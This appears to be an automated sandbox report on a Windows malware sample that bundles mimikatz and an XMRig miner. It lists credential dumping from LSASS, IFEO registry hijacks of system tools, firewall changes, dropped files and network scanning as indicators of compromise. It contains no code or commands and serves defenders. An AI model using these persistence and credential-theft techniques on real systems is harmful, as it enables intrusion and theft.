mimikatz | 93cb8cf53690080028e77e0355a057538ddceebf303fab6a641eeba1160ad926

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-01-2025 13:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe
Size

13.6MB
MD5

2c4a83e8e76e87a3b3fc793b748c20d7
SHA1

2e48cae9753b22b55936437b427512ca97160f60
SHA256

93cb8cf53690080028e77e0355a057538ddceebf303fab6a641eeba1160ad926
SHA512

350d4223953aed487c063d9fad03e977320ccec4e9d9c5d91ea9d372770712d98cc604bb867691e1e9e046e3930c9cefcaaac14acf726a8b8bc8c2bc1f8135b2
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1912 created 2096	1912	mwebabk.exe	37

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30758) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/4896-178-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-182-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-199-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-212-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-221-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-234-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-245-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-495-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-496-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-535-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-791-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig
behavioral2/memory/4896-792-0x00007FF704700000-0x00007FF704820000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/4024-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4024-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/files/0x000a000000023b9b-6.dat	mimikatz
behavioral2/memory/1772-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4220-138-0x00007FF617C80000-0x00007FF617D6E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	mwebabk.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	mwebabk.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	mwebabk.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
808	netsh.exe
1464	netsh.exe

Executes dropped EXE 27 IoCs

pid	Process
1772	mwebabk.exe
1912	mwebabk.exe
2496	wpcap.exe
2904	enbltlpnr.exe
4220	vfshost.exe
2960	tzntbfcjz.exe
556	xohudmc.exe
4512	kcuyyg.exe
4896	cllalu.exe
752	tzntbfcjz.exe
1312	tzntbfcjz.exe
2820	tzntbfcjz.exe
3196	tzntbfcjz.exe
3768	tzntbfcjz.exe
3740	tzntbfcjz.exe
1504	tzntbfcjz.exe
4020	tzntbfcjz.exe
4824	tzntbfcjz.exe
688	tzntbfcjz.exe
4028	tzntbfcjz.exe
4160	tzntbfcjz.exe
1608	mwebabk.exe
3264	tzntbfcjz.exe
3748	tzntbfcjz.exe
1600	tzntbfcjz.exe
3516	qnbbltzyb.exe
5408	mwebabk.exe

Loads dropped DLL 12 IoCs

pid	Process
2496	wpcap.exe
2496	wpcap.exe
2496	wpcap.exe
2496	wpcap.exe
2496	wpcap.exe
2496	wpcap.exe
2496	wpcap.exe
2496	wpcap.exe
2496	wpcap.exe
2904	enbltlpnr.exe
2904	enbltlpnr.exe
2904	enbltlpnr.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
65	ifconfig.me
66	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EC98FD874C34E9667158FBB7DEFBD82F	mwebabk.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\kcuyyg.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	mwebabk.exe
File created	C:\Windows\SysWOW64\kcuyyg.exe	xohudmc.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	mwebabk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC98FD874C34E9667158FBB7DEFBD82F	mwebabk.exe

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4220-136-0x00007FF617C80000-0x00007FF617D6E000-memory.dmp	upx
behavioral2/files/0x000b000000023c69-135.dat	upx
behavioral2/memory/4220-138-0x00007FF617C80000-0x00007FF617D6E000-memory.dmp	upx
behavioral2/files/0x0008000000023c87-141.dat	upx
behavioral2/memory/2960-142-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/2960-160-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/files/0x0008000000023c84-164.dat	upx
behavioral2/memory/4896-165-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/752-171-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/1312-175-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4896-178-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/2820-180-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4896-182-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/3196-185-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/3768-189-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/3740-193-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/1504-197-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4896-199-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4020-202-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4824-206-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/688-210-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4896-212-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4028-215-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4160-219-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4896-221-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/3264-228-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/3748-231-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/1600-233-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp	upx
behavioral2/memory/4896-234-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4896-245-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4896-495-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4896-496-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4896-535-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4896-791-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx
behavioral2/memory/4896-792-0x00007FF704700000-0x00007FF704820000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File opened for modification	C:\Windows\izvjmbrb\docmicfg.xml	mwebabk.exe
File opened for modification	C:\Windows\izvjmbrb\schoedcl.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\vltbqcbqt\wpcap.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\spoolsrv.exe	mwebabk.exe
File opened for modification	C:\Windows\izvjmbrb\svschost.xml	mwebabk.exe
File created	C:\Windows\ime\mwebabk.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\vimpcsvc.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\vimpcsvc.xml	mwebabk.exe
File opened for modification	C:\Windows\vtecbbeeu\vltbqcbqt\Packet.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\ucl.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\Shellcode.ini	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\AppCapture32.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\Corporate\mimilib.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\crli-0.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\posh-0.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\xdvl-0.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\vltbqcbqt\wpcap.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\schoedcl.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\spoolsrv.xml	mwebabk.exe
File created	C:\Windows\izvjmbrb\spoolsrv.xml	mwebabk.exe
File opened for modification	C:\Windows\izvjmbrb\spoolsrv.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\trfo-2.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\zlib1.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\schoedcl.xml	mwebabk.exe
File created	C:\Windows\izvjmbrb\mwebabk.exe	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\tucl-1.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\vltbqcbqt\Packet.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\exma-1.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\libeay32.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\libxml2.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\docmicfg.xml	mwebabk.exe
File created	C:\Windows\izvjmbrb\schoedcl.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\Corporate\mimidrv.sys	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\tibe-2.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\svschost.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\ssleay32.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\svschost.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\vimpcsvc.xml	mwebabk.exe
File created	C:\Windows\izvjmbrb\docmicfg.xml	mwebabk.exe
File opened for modification	C:\Windows\izvjmbrb\vimpcsvc.xml	mwebabk.exe
File opened for modification	C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt	qnbbltzyb.exe
File created	C:\Windows\vtecbbeeu\vltbqcbqt\qnbbltzyb.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\coli-0.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\docmicfg.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\docmicfg.xml	mwebabk.exe
File created	C:\Windows\izvjmbrb\vimpcsvc.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\AppCapture64.dll	mwebabk.exe
File opened for modification	C:\Windows\vtecbbeeu\Corporate\log.txt	cmd.exe
File opened for modification	C:\Windows\izvjmbrb\mwebabk.exe	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe
File created	C:\Windows\vtecbbeeu\vltbqcbqt\enbltlpnr.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\spoolsrv.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\trch-1.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\svschost.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\schoedcl.xml	mwebabk.exe
File created	C:\Windows\izvjmbrb\svschost.xml	mwebabk.exe
File created	C:\Windows\vtecbbeeu\UnattendGC\specials\cnli-1.dll	mwebabk.exe
File created	C:\Windows\vtecbbeeu\Corporate\vfshost.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\upbdrjv\swrpwe.exe	mwebabk.exe
File created	C:\Windows\vtecbbeeu\vltbqcbqt\ip.txt	mwebabk.exe
File created	C:\Windows\vtecbbeeu\vltbqcbqt\scan.bat	mwebabk.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4528	sc.exe
2068	sc.exe
4864	sc.exe
1084	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
